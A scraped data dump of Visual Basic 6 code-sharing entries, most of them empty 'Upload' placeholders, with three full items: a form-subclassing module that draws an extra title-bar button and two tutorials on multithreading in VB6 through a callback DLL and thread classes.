Sub\n"},{"WorldId":1,"id":31911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24591,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25041,"LineNumber":1,"line":"*ADD THIS SECTION OF CODE TO A MODULE*\n**************************************\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n'|\n'| Written By: Megatron\n'|\n'| E-mail: mega__tron@hotmail.com (yes it's 2 underscores)\n'|\n'| The following code snippet will add a fourth icon to the control box (next\n'| to the minimize, maximize and close buttons). This button will contain a\n'| circle, you can easily modify it so that ANY other graphic can be in its\n'| place.\n'|\n'| Please E-mail me, as I would love to hear you comments, (be it compliments\n'| or critisism).\n'|\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nPublic Type POINTAPI\n x As Long\n y As Long\nEnd Type\nPublic Declare Function Rectangle Lib \"gdi32\" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPublic Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long\nPublic Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPublic Declare Function CreateSolidBrush Lib \"gdi32\" (ByVal crColor As Long) As Long\nPublic Declare Function CreatePen Lib \"gdi32\" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long\nPublic Declare Function Ellipse Lib \"gdi32\" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPublic Declare Function LineTo Lib \"gdi32\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long\nPublic Declare Function MoveToEx Lib \"gdi32\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, lpPoint As POINTAPI) As Long\nPublic Declare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long) As Long\nPublic Declare Function SetWindowLong& Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long)\nPublic Declare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPublic Declare Function GetWindowDC Lib \"user32\" (ByVal hwnd As Long) As Long\nPublic Declare Function ReleaseDC Lib \"user32\" (ByVal hwnd As Long, ByVal hdc As Long) As Long\nPublic Declare Function ScreenToClient Lib \"user32\" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long\nPublic Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\nPublic Const GWL_WNDPROC = (-4)\nPublic Const WM_NCPAINT = &H85\nPublic Const WM_PAINT = &HF\nPublic Const WM_SIZE = &H5\nPublic Const WM_NCLBUTTONDOWN = &HA1\nPublic Const WM_NCLBUTTONUP = &HA2\nPublic Const WM_NCHITTEST = &H84\nPublic Const WM_NCACTIVATE = &H86\nPublic Const WM_ACTIVATEAPP = &H1C\nPublic Const WM_ACTIVATE = &H6\nPublic Const WM_NCMOUSEMOVE = &HA0\nPublic Const WM_MOUSEMOVE = &H200\nPublic Const WM_NCLBUTTONDBLCLK = &HA3\nPublic WndProcOld As Long\nPublic gSubClassedForm As Form\nPrivate bPressed As Boolean\n'LOWORD and HIWORD are needed to extract point values from lParam\nPublic Function LoWord(ByVal LongVal As Long) As Integer\n LoWord = LongVal And &HFFFF&\nEnd Function\nPublic Function HiWord(ByVal LongVal As Long) As Integer\n If LongVal = 0 Then\n HiWord = 0\n Exit Function\n End If\n HiWord = LongVal \\ &H10000 And &HFFFF&\nEnd Function\nPublic Function WindProc(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n Dim lWidth As Long\n Dim POINTS As POINTAPI\n \n 'Draw the button whenever on any event that will cause it to erase\n If wMsg = WM_PAINT Or wMsg = WM_ACTIVATE Or wMsg = WM_ACTIVATEAPP Or wMsg = WM_NCACTIVATE Or wMsg = WM_NCPAINT Or (wMsg = WM_SIZE And wParam <> 1) Then\n DrawControlBox hwnd, RGB(192, 192, 192), vbBlack, RGB(128, 128, 128), vbWhite, RGB(224, 224, 224), 0\n End If\n \n 'Draws an \"inverted\" form of the button when it's pressed\n If wMsg = WM_NCLBUTTONDOWN Then\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n MakeClientPoints hwnd, lParam, POINTS\n If (POINTS.x > (lWidth - 80)) And (POINTS.x < (lWidth - 60)) Then\n DrawControlBox hwnd, RGB(192, 192, 192), vbWhite, RGB(224, 224, 224), vbBlack, RGB(128, 128, 128), 1\n bPressed = True\n Exit Function\n End If\n End If\n \n 'Resets the original colors when the mouse is unpressed\n If wMsg = WM_NCLBUTTONUP Then\n DrawControlBox hwnd, RGB(192, 192, 192), vbBlack, RGB(128, 128, 128), vbWhite, RGB(224, 224, 224), 0\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n MakeClientPoints hwnd, lParam, POINTS\n If (POINTS.x > (lWidth - 74)) And (POINTS.x < (lWidth - 60)) Then\n If bPressed = True Then\n bPressed = False\n Call gSubClassedForm.ControlBoxClick\n End If\n Exit Function\n End If\n bPressed = False\n End If\n \n If wMsg = WM_NCHITTEST And GetAsyncKeyState(vbLeftButton) Then\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n MakeClientPoints hwnd, lParam, POINTS\n If (POINTS.x > (lWidth - 74)) And (POINTS.x < (lWidth - 60)) And (POINTS.y < 0) And (POINTS.y > -20) Then\n DrawControlBox hwnd, RGB(192, 192, 192), vbWhite, RGB(224, 224, 224), vbBlack, RGB(128, 128, 128), 1\n Else\n DrawControlBox hwnd, RGB(192, 192, 192), vbBlack, RGB(128, 128, 128), vbWhite, RGB(224, 224, 224), 0\n End If\n \n End If\n \n If wMsg = WM_NCLBUTTONDBLCLK Then\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n MakeClientPoints hwnd, lParam, POINTS\n If (POINTS.x > (lWidth - 74)) And (POINTS.x < (lWidth - 60)) Then Exit Function\n End If\n \n WindProc = CallWindowProc(WndProcOld&, hwnd&, wMsg&, wParam&, lParam&)\n \nEnd Function\n'Converts screen coordinates of a DWORD to a point structure, of a client\nSub MakeClientPoints(ByVal hwnd As Long, ByVal pts As Long, PT As POINTAPI)\n PT.x = LoWord(pts)\n PT.y = HiWord(pts)\n ScreenToClient hwnd, PT\nEnd Sub\n'********************************************************************************\n'FUNCTION: DrawControlBox\n'ARGUMENTS: hwnd handle of window to draw on to\n' bGround Background color of button\n' Bdm1 Bottom border color\n' Bdm2 2nd level bottom border\n' Top1 Top border color\n' Top2 2nd level top border\n' lOffset Amount to offset the ellipse by\n'\n'COMMENTS: This is the sub routine that draws the actual control box. It is not\n' a generic function, however. You may specify the border colors, but\n' you cannot specify the shape inside or the size. I will try to update this later\n'********************************************************************************\nSub DrawControlBox(ByVal hwnd As Long, ByVal bGround As Long, ByVal Bdm1 As Long, ByVal Bdm2 As Long, ByVal Top1 As Long, ByVal Top2 As Long, ByVal lOffset As Byte)\n \n Dim hBrush As Long 'Handle of the background brush\n Dim hOldBrush As Long 'Handle of the previous brush\n Dim hPen As Long 'Handle of the new pen\n Dim hOldPen As Long 'Handle of the previous pen\n Dim lWidth As Long 'Width of the window\n Dim DC As Long 'Device context of window\n Dim PT As POINTAPI 'Stores previous points in MoveToEx\n lWidth = gSubClassedForm.Width / Screen.TwipsPerPixelX\n DC = GetWindowDC(hwnd)\n hBrush = CreateSolidBrush(bGround)\n hOldBrush = SelectObject(DC, hBrush)\n hPen = CreatePen(0, 1, Top1)\n hOldPen = SelectObject(DC, hPen)\n Rectangle DC, lWidth - 74, 6, lWidth - 58, 20\n DeleteObject (SelectObject(DC, hOldPen))\n \n 'Draw ellipse (Black, regardless of other colors)\n hPen = CreatePen(0, 1, vbBlack)\n hOldPen = SelectObject(DC, hPen)\n Ellipse DC, lWidth - 70 + lOffset, 8 + lOffset, lWidth - 63 + lOffset, 17 + lOffset\n DeleteObject (SelectObject(DC, hOldPen))\n \n 'Draw bottom border\n hPen = CreatePen(0, 1, Bdm1)\n hOldPen = SelectObject(DC, hPen)\n DeleteObject (hOldPen)\n MoveToEx DC, lWidth - 74, 19, PT\n LineTo DC, lWidth - 58, 19\n MoveToEx DC, lWidth - 59, 6, PT\n LineTo DC, lWidth - 59, 19\n DeleteObject (SelectObject(DC, hOldPen))\n DeleteObject (SelectObject(DC, hOldBrush))\n \n 'Draw 2nd bottom border\n hPen = CreatePen(0, 1, Bdm2)\n hOldPen = SelectObject(DC, hPen)\n DeleteObject (hOldPen)\n MoveToEx DC, lWidth - 73, 18, PT\n LineTo DC, lWidth - 59, 18\n MoveToEx DC, lWidth - 60, 7, PT\n LineTo DC, lWidth - 60, 19\n DeleteObject (SelectObject(DC, hOldPen))\n \n 'Draw 2nd top border\n hPen = CreatePen(0, 1, Top2)\n hOldPen = SelectObject(DC, hPen)\n DeleteObject (hOldPen)\n MoveToEx DC, lWidth - 73, 7, PT\n LineTo DC, lWidth - 60, 7\n MoveToEx DC, lWidth - 73, 7, PT\n LineTo DC, lWidth - 73, 18\n DeleteObject (SelectObject(DC, hOldPen))\n \n ReleaseDC hwnd, DC\nEnd Sub\nPublic Sub SubClassForm(frm As Form)\n WndProcOld& = SetWindowLong(frm.hwnd, GWL_WNDPROC, AddressOf WindProc)\n Set gSubClassedForm = frm\nEnd Sub\nPublic Sub UnSubclassForm(frm As Form)\n SetWindowLong frm.hwnd, GWL_WNDPROC, WndProcOld&\n WndProcOld& = 0\nEnd Sub\n\n\n\n'*************************************************\n'ADD THIS SECTION OF CODE TO A FORM (CALLED FORM1)\n'*************************************************\nPrivate Sub Form_Load()\n SubClassForm Form1\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n UnSubclassForm Form1\nEnd Sub\n'Make sure that the Sub \"ControlBoxClick()\" is in the Form that you are\n'adding the control box to. Whatever is in this sub routine will be executed\n'when the button is pressed\nPublic Sub ControlBoxClick()\n ' <-- Add code for when the button is clicked -->\n MsgBox \"You pressed the button\"\nEnd Sub"},{"WorldId":1,"id":24658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24695,"LineNumber":1,"line":"Easy multithreading with low overhead - Part 1\nSrideep Prasad posted an article on how to do safe multithreading in vb6 with\nmulti instancing. His \"solution\" required making an activex exe and\nmaking new instances of it for each thread which obviously is very processor\nconsuming and defeats the very purpose of multithreading. His reason for this\n\"solution\" was \"hey, at least theres no more doevents.\" Give\nme a break. I'm dont understand how he code made it to code of the month list.\nMy solution is simple and has low overhead.\n1. Create an api dll using visual c++. If you dont know how to program c++,\nthats no problem. You can use my template. \n2. Make a function that gets the address of the function you want to run in a\nseperate thread. \n3. From here you can either use the dll as code running in the background to\nserve as a \"airbag\" so you can call CreateThread safely from in the\ndll, or you can call the function by yourself in the dll by address. (This is\ncalled a callback routine. Many enumerated functions in the windows api do\nthis.) \n \nPart 1 of this tutorial will cover how to make a callback routine for your\nmultithreading.\nThe first step is to make a new Win32 Dynamic-Link Library workspace. Here is\nmy code template for an api dll.\n<pre>\n#include <windows.h>\n// This may be a little confusing to some people.\n// All this next line does is specify a vb-safe calling convention\n// CALLBACK* says that the variable type is actually a function, in this case a vb function\n// THREADED_FUNC is the variable type that the function will be called in the dll. I could have put anything else in here\n// typedef BOOL means that the function has a return value of boolean\n// (int) means that the function has one paramater and its an integer. You could put as many of these as you need, depending\n// \ton the number of parameters your function takes. ie your function takes an integer and two strings. You would put\n//\t(int, LPCSTR, LPCSTR)\ntypedef BOOL (CALLBACK* THREADED_FUNC) (int);\n// Function prototypes\nvoid FreeProcessor(void);\nLONG __declspec(dllexport) WINAPI MakeThread(THREADED_FUNC &pTFunc, int nPassedValue);\n// Starting and ending point of the dll, required for every api dll\nextern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)\n{\n\tif (dwReason == DLL_PROCESS_ATTACH)\n\t{\n\t\t// dll starts processing here\n\t\t// inital values and processing should go here\n\t\t\n\t}\n\telse if (dwReason == DLL_PROCESS_DETACH)\n\t{\n\t\t// dll stops processing here\n\t\t// all clean up code should go here\n\t\t\n\t}\n\treturn 1;\n}\n// MakeThread - Function that calls function by address (This is the callback routine)\n// This function accepts a THREADED_FUNC which is actually the address of the threaded function\n// It also accepts the parameters your function takes which is an integer for this example. You will need to set the\n//\tnumber of parameters to match the function you wrote\nLONG __declspec(dllexport) WINAPI MakeThread(int nPassedValue, THREADED_FUNC &pTFunc)\n{\n\t// try-catch block for error handling\n\ttry\n\t{\n\t\tdo\n\t\t{\n\t\t\t// call the function by address and examin return value\n\t\t\tif (pTFunc(nPassedValue) == FALSE)\n\t\t\t\treturn 1;\n\t\t\tFreeProcessor();\n\t\t} while (true);\n\t}\n\tcatch (int) { return 0; }\n}\n// FreeProcessor function written by Jared Bruni\nvoid FreeProcessor(void) \n{ \n\tMSG Msg; \n\twhile(PeekMessage(&Msg,NULL,0,0,PM_REMOVE))\n\t{\n\t\tif (Msg.message == WM_QUIT)break;\n\t\tTranslateMessage(&Msg); \n\t\tDispatchMessage(&Msg);\n\t} \n}\n</pre>\n \nThe next step is to create a export definitions file for MakeThread. This\nis very simple.\nLIBRARY MyFile \nDESCRIPTION 'Callback multithreading dll for MyProgram' \nCODE PRELOAD MOVEABLE DISCARDABLE \nDATA PRELOAD MOVEABLE SINGLE \n \nHEAPSIZE 4096 \nEXPORTS \n┬á┬á┬á MakeThread @1 \n\nI highlighted the LIBRARY line for a good reason. Make sure whatever you type\nafter LIBRARY is the name of the cpp file that your DllMain is in. For example\nif your DllMain is in a file called \"BigLousyDll.cpp\", then you would\ntype LIBRARY BigLousyDll \n \nAlso make sure that the export definitions file is the same name as the cpp file\nyour DllMain is in. Like I said, if your DllMain is in a file called \"BigLousyDll.cpp\",\nyou would name your export definitions file BigLousyDll.def \n \nOnce you compile your dll, it should automatically be registered. I would put it\nin your system or system32 folder so you don't have to type a explicit path to\nit in your vb file.\nPublic Declare Function\nMakeThread Lib \"MyFile.dll\" (lpCallback As\nAny, ByVal nInt As\nInteger) As Long \nPublic i As Integer \nPublic nTimes As Integer \n \nPublic Function MyFunction(ByVal nValue As Integer) As Boolean \n┬á┬á┬á nTimes = nTimes + 1 \n┬á┬á If\nnTimes > 0 Then \n┬á┬á┬á┬á┬á┬á┬á If i\n< 20 Then \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á i = i + 1 \n┬á┬á┬á┬á┬á┬á┬á End If \n┬á┬á┬á┬á┬á┬á┬á MyFunction = True┬á┬á┬á\n'Tells dll to keep running through function \n┬á┬á┬á┬á┬á┬á┬á Exit Function \n┬á┬á┬á Else \n┬á┬á ┬á┬á┬á┬á i = nValue \n┬á┬á┬á┬á┬á┬á┬á MyFunction = True┬á┬á┬á\n'Tells dll to keep running through function \n┬á┬á┬á┬á┬á┬á┬á Exit Function \n┬á┬á End If \n┬á┬á┬á MyFunction =\nFalse┬á┬á┬á 'Tells dll to stop \nEnd Function \n \nSub Main() \n┬á┬á┬á If Not MakeThread(AddressOf\nMyFunction, 3) Then \n┬á┬á┬á┬á┬á┬á┬á MsgBox \"Multithreading\nerror\" \n┬á┬á┬á Else \n┬á┬á┬á┬á┬á┬á┬á MsgBox \"Success\" \n┬á┬á┬á End If \nEnd Sub\n \nIf you find this code helpful, vote only if you want to. I dont care if I win\ncoding contest. I just thought this solution is excellent compared to what\nSrideep Prasad posted.\n"},{"WorldId":1,"id":24747,"LineNumber":1,"line":"Easy, Stable VB6 Multithreading with Low Overhead - Part 2 \nCalling CreateThread Safely Within a DLL\nI found some better, straight vb code for the tutorial I was going to do for\nthis part so I thought it would be better than using c++. The code does the same\nthing.\nPart 2 of thesse tutorials is based off Matthew Curland's "Apartment\nThreading in VB6, Safely and Externally". This uses a precompiled type\nlibrary to easily call CreateThread from a global name space (no declaration\nrequired). While this might be use activex, it still isn't using nearly as\nmany system resources as Srideep's solution.\nIn addition to safely calling CreateThread from vb there are some thread\nclasses that are used for doing the work with class ids rather than function\naddresses. (Launch, Worker, ThreadControl, ThreadData,\nand ThreadLaunch)\nI will list all the classes below. I also decide4d not to add syntax\nhighlighting because that took too long. Also please realize that I did not\nwrite these. Matthew Curland did. So vote for him, not me.\n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">ThreadControl.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\nPrivate m_RunningThreads As Collection 'Collection to hold ThreadData objects for each thread\nPrivate m_fStoppingWorkers As Boolean 'Currently tearing down, so don't start anything new\nPrivate m_EventHandle As Long 'Synchronization handle\nPrivate m_CS As CRITICAL_SECTION 'Critical section to avoid conflicts when signalling threads\nPrivate m_pCS As Long 'Pointer to m_CS structure\n'Called to create a new thread worker thread.\n'CLSID can be obtained from a ProgID via CLSIDFromProgID\n'Data contains the data for the new thread\n'fStealData should be True if the data is large. If this\n' is set, then Data will be Empty on return. If Data\n' contains an object reference, then the object should\n' be created on this thread.\n'fReturnThreadHandle must explicitly be set to True to\n' return the created thread handle. This handle can be\n' used for calls like SetThreadPriority and must be\n' closed with CloseHandle.\nFriend Function CreateWorkerThread(CLSID As CLSID, Data As Variant, Optional ByVal fStealData As Boolean = False, Optional ByVal fReturnThreadHandle As Boolean = False) As Long\nDim TPD As ThreadProcData\nDim IID_IUnknown As VBGUID\nDim ThreadID As Long\nDim ThreadHandle As Long\nDim pStream As IUnknown\nDim ThreadData As ThreadData\nDim fCleanUpOnFailure As Boolean\nDim hProcess As Long\nDim pUnk As IUnknown\n If m_fStoppingWorkers Then Err.Raise 5, , "Can't create new worker while shutting down"\n CleanCompletedThreads 'We need to clean up sometime, this is as good a time as any\n With TPD\n Set ThreadData = New ThreadData\n .CLSID = CLSID\n .EventHandle = m_EventHandle\n With IID_IUnknown\n .Data4(0) = &HC0\n .Data4(7) = &H46\n End With\n .pMarshalStream = CoMarshalInterThreadInterfaceInStream(IID_IUnknown, Me)\n .ThreadDonePointer = ThreadData.ThreadDonePointer\n .ThreadDataCookie = ObjPtr(ThreadData)\n .pCritSect = m_pCS\n ThreadData.SetData Data, fStealData\n Set ThreadData.Controller = Me\n m_RunningThreads.Add ThreadData, CStr(.ThreadDataCookie)\n End With\n ThreadHandle = CreateThread(0, 0, AddressOf ThreadProc.ThreadStart, VarPtr(TPD), 0, ThreadID)\n If ThreadHandle = 0 Then\n fCleanUpOnFailure = True\n Else\n 'Turn ownership of the thread handle over to\n 'the ThreadData object\n ThreadData.ThreadHandle = ThreadHandle\n 'Make sure we've been notified by ThreadProc before continuing to\n 'guarantee that the new thread has gotten the data they need out\n 'of the ThreadProcData structure\n WaitForSingleObject m_EventHandle, INFINITE\n If TPD.hr Then\n fCleanUpOnFailure = True\n ElseIf fReturnThreadHandle Then\n hProcess = GetCurrentProcess\n DuplicateHandle hProcess, ThreadHandle, hProcess, CreateWorkerThread\n End If\n End If\n If fCleanUpOnFailure Then\n 'Failure, clean up stream by making a reference and releasing it\n CopyMemory pStream, TPD.pMarshalStream, 4\n Set pStream = Nothing\n 'Tell the thread its done using the normal mechanism\n InterlockedIncrement TPD.ThreadDonePointer\n 'There's no reason to keep the new thread data\n CleanCompletedThreads\n End If\n If TPD.hr Then Err.Raise TPD.hr\nEnd Function\n'Called after a thread is created to provide a mechanism\n'to stop execution and retrieve initial data for running\n'the thread. Should be called in ThreadLaunch_Go with:\n'Controller.RegisterNewThread ThreadDataCookie, VarPtr(m_Notify), Controller, Data\nPublic Sub RegisterNewThread(ByVal ThreadDataCookie As Long, ByVal ThreadSignalPointer As Long, ByRef ThreadControl As ThreadControl, Optional Data As Variant)\nDim ThreadData As ThreadData\nDim fInCriticalSection As Boolean\n Set ThreadData = m_RunningThreads(CStr(ThreadDataCookie))\n ThreadData.ThreadSignalPointer = ThreadSignalPointer\n ThreadData.GetData Data\n 'The new thread should not own the controlling thread because\n 'the controlling thread has to teardown after all of the worker\n 'threads are done running code, which can't happen if we happen\n 'to release the last reference to ThreadControl in a worker\n 'thread. ThreadData is already holding an extra reference on\n 'this object, so it is guaranteed to remain alive until\n 'ThreadData is signalled.\n Set ThreadControl = Nothing\n If m_fStoppingWorkers Then\n 'This will only happen when StopWorkerThreads is called\n 'almost immediately after CreateWorkerThread. We could\n 'just let this signal happen in the StopWorkerThreads loop,\n 'but this allows a worker thread to be signalled immediately.\n 'See note in SignalThread about CriticalSection usage.\n ThreadData.SignalThread m_pCS, fInCriticalSection\n If fInCriticalSection Then LeaveCriticalSection m_pCS\n End If\nEnd Sub\n'Call StopWorkerThreads to signal all worker threads\n'and spin until they terminate. Any calls to an object\n'passed via the Data parameter in CreateWorkerThread\n'will succeed.\nFriend Sub StopWorkerThreads()\nDim ThreadData As ThreadData\nDim fInCriticalSection As Boolean\nDim fSignal As Boolean\nDim fHaveOleThreadhWnd As Boolean\nDim OleThreadhWnd As Long\n If m_fStoppingWorkers Then Exit Sub\n m_fStoppingWorkers = True\n fSignal = True\n Do\n For Each ThreadData In m_RunningThreads\n If ThreadData.ThreadCompleted Then\n m_RunningThreads.Remove CStr(ObjPtr(ThreadData))\n ElseIf fSignal Then\n 'See note in SignalThread about CriticalSection usage.\n ThreadData.SignalThread m_pCS, fInCriticalSection\n End If\n Next\n If fInCriticalSection Then\n LeaveCriticalSection m_pCS\n fInCriticalSection = False\n Else\n 'We can turn this off indefinitely because new threads\n 'which arrive at RegisterNewThread while stopping workers\n 'are signalled immediately\n fSignal = False\n End If\n If m_RunningThreads.Count = 0 Then Exit Do\n 'We need to clear the message queue here in order to allow\n 'any pending RegisterNewThread messages to come through.\n If Not fHaveOleThreadhWnd Then\n OleThreadhWnd = FindOLEhWnd\n fHaveOleThreadhWnd = True\n End If\n SpinOlehWnd OleThreadhWnd, False\n Sleep 0\n Loop\n m_fStoppingWorkers = False\nEnd Sub\n'Releases ThreadData objects for all threads\n'that are completed. Cleaning happens automatically\n'when you call SignalWorkerThreads, StopWorkerThreads,\n'and RegisterNewThread.\nFriend Sub CleanCompletedThreads()\nDim ThreadData As ThreadData\n For Each ThreadData In m_RunningThreads\n If ThreadData.ThreadCompleted Then\n m_RunningThreads.Remove CStr(ObjPtr(ThreadData))\n End If\n Next\nEnd Sub\n'Call to tell all running worker threads to\n'terminated. If the thread has not yet called\n'RegisterNewThread, then it will not be signalled.\n'Unlike StopWorkerThreads, this does not block\n'while the workers actually terminate.\n'SignalWorkerThreads must be called by the owner\n'of this class before the ThreadControl instance\n'is released.\nFriend Sub SignalWorkerThreads()\nDim ThreadData As ThreadData\nDim fInCriticalSection As Boolean\n For Each ThreadData In m_RunningThreads\n If ThreadData.ThreadCompleted Then\n m_RunningThreads.Remove CStr(ObjPtr(ThreadData))\n Else\n 'See note in SignalThread about CriticalSection usage.\n ThreadData.SignalThread m_pCS, fInCriticalSection\n End If\n Next\n If fInCriticalSection Then LeaveCriticalSection m_pCS\nEnd Sub\nPrivate Sub Class_Initialize()\n Set m_RunningThreads = New Collection\n m_EventHandle = CreateEvent(0, 0, 0, vbNullString)\n m_pCS = VarPtr(m_CS)\n InitializeCriticalSection m_pCS\nEnd Sub\nPrivate Sub Class_Terminate()\n CleanCompletedThreads 'Just in case, this generally does nothing.\n Debug.Assert m_RunningThreads.Count = 0 'Each worker should have a reference to this class\n CloseHandle m_EventHandle\n DeleteCriticalSection m_pCS\nEnd Sub\n</pre></td>\n </tr>\n</table>\n \n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">Launch.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\nPrivate Controller As ThreadControl\nPublic Sub LaunchThreads()\nDim CLSID As CLSID\n CLSID = CLSIDFromProgID("DllThreads.Worker")\n Controller.CreateWorkerThread CLSID, 3000, True\n Controller.CreateWorkerThread CLSID, 5000, True\n Controller.CreateWorkerThread CLSID, 7000\nEnd Sub\nPublic Sub FinishThreads()\n Controller.StopWorkerThreads\nEnd Sub\nPublic Sub CleanCompletedThreads()\n Controller.CleanCompletedThreads\nEnd Sub\nPrivate Sub Class_Initialize()\n Set Controller = New ThreadControl\nEnd Sub\nPrivate Sub Class_Terminate()\n Controller.StopWorkerThreads\n Set Controller = Nothing\nEnd Sub</pre></td>\n </tr>\n</table> \n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">ThreadLaunch.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\n'Just an interface definition\nPublic Function Go(Controller As ThreadControl, ByVal ThreadDataCookie As Long) As Long\nEnd Function\n'The rest of this is a comment\n#If False Then\n'A worker thread should include the following code.\n'The Instancing for a worker should be set to 5 - MultiUse\nImplements ThreadLaunch\nPrivate m_Notify As Long\nPublic Function ThreadLaunch_Go(Controller As ThreadControl, ByVal ThreadDataCookie As Long) As Long\nDim Data As Variant\n Controller.RegisterNewThread ThreadDataCookie, VarPtr(m_Notify), Controller, Data\n 'TODO: Process Data while\n 'regularly calling HaveBeenNotified to\n 'see if the thread should terminate.\n If HaveBeenNotified Then\n 'Clean up and return\n End If\nEnd Function\nPrivate Function HaveBeenNotified() As Boolean\n HaveBeenNotified = m_Notify\nEnd Function\n#End If</pre></td>\n </tr>\n</table> \n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">Worker.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\nImplements ThreadLaunch\nPrivate m_Notify As Long\nPublic Function ThreadLaunch_Go(Controller As ThreadControl, ByVal ThreadDataCookie As Long) As Long\nDim Data As Variant\nDim SleepTime As Long\n Controller.RegisterNewThread ThreadDataCookie, VarPtr(m_Notify), Controller, Data\n ThreadLaunch_Go = Data\n SleepTime = Data\n While SleepTime > 0\n Sleep 100\n SleepTime = SleepTime - 100\n If HaveBeenNotified Then\n MsgBox "Notified"\n Exit Function\n End If\n Wend\n MsgBox "Done Sleeping: " & Data\nEnd Function\nPrivate Function HaveBeenNotified() As Boolean\n HaveBeenNotified = m_Notify\nEnd Function</pre></td>\n </tr>\n</table>\n \n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">ThreadData.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\nPrivate m_ThreadDone As Long\nPrivate m_ThreadSignal As Long\nPrivate m_ThreadHandle As Long\nPrivate m_Data As Variant\nPrivate m_Controller As ThreadControl\nFriend Function ThreadCompleted() As Boolean\nDim ExitCode As Long\n ThreadCompleted = m_ThreadDone\n If ThreadCompleted Then\n 'Since code runs on the worker thread after the\n 'ThreadDone pointer is incremented, there is a chance\n 'that we are signalled, but the thread hasn't yet\n 'terminated. In this case, just claim we aren't done\n 'yet to make sure that code on all worker threads is\n 'actually completed before ThreadControl terminates.\n If m_ThreadHandle Then\n If GetExitCodeThread(m_ThreadHandle, ExitCode) Then\n If ExitCode = STILL_ACTIVE Then\n ThreadCompleted = False\n Exit Function\n End If\n End If\n CloseHandle m_ThreadHandle\n m_ThreadHandle = 0\n End If\n End If\nEnd 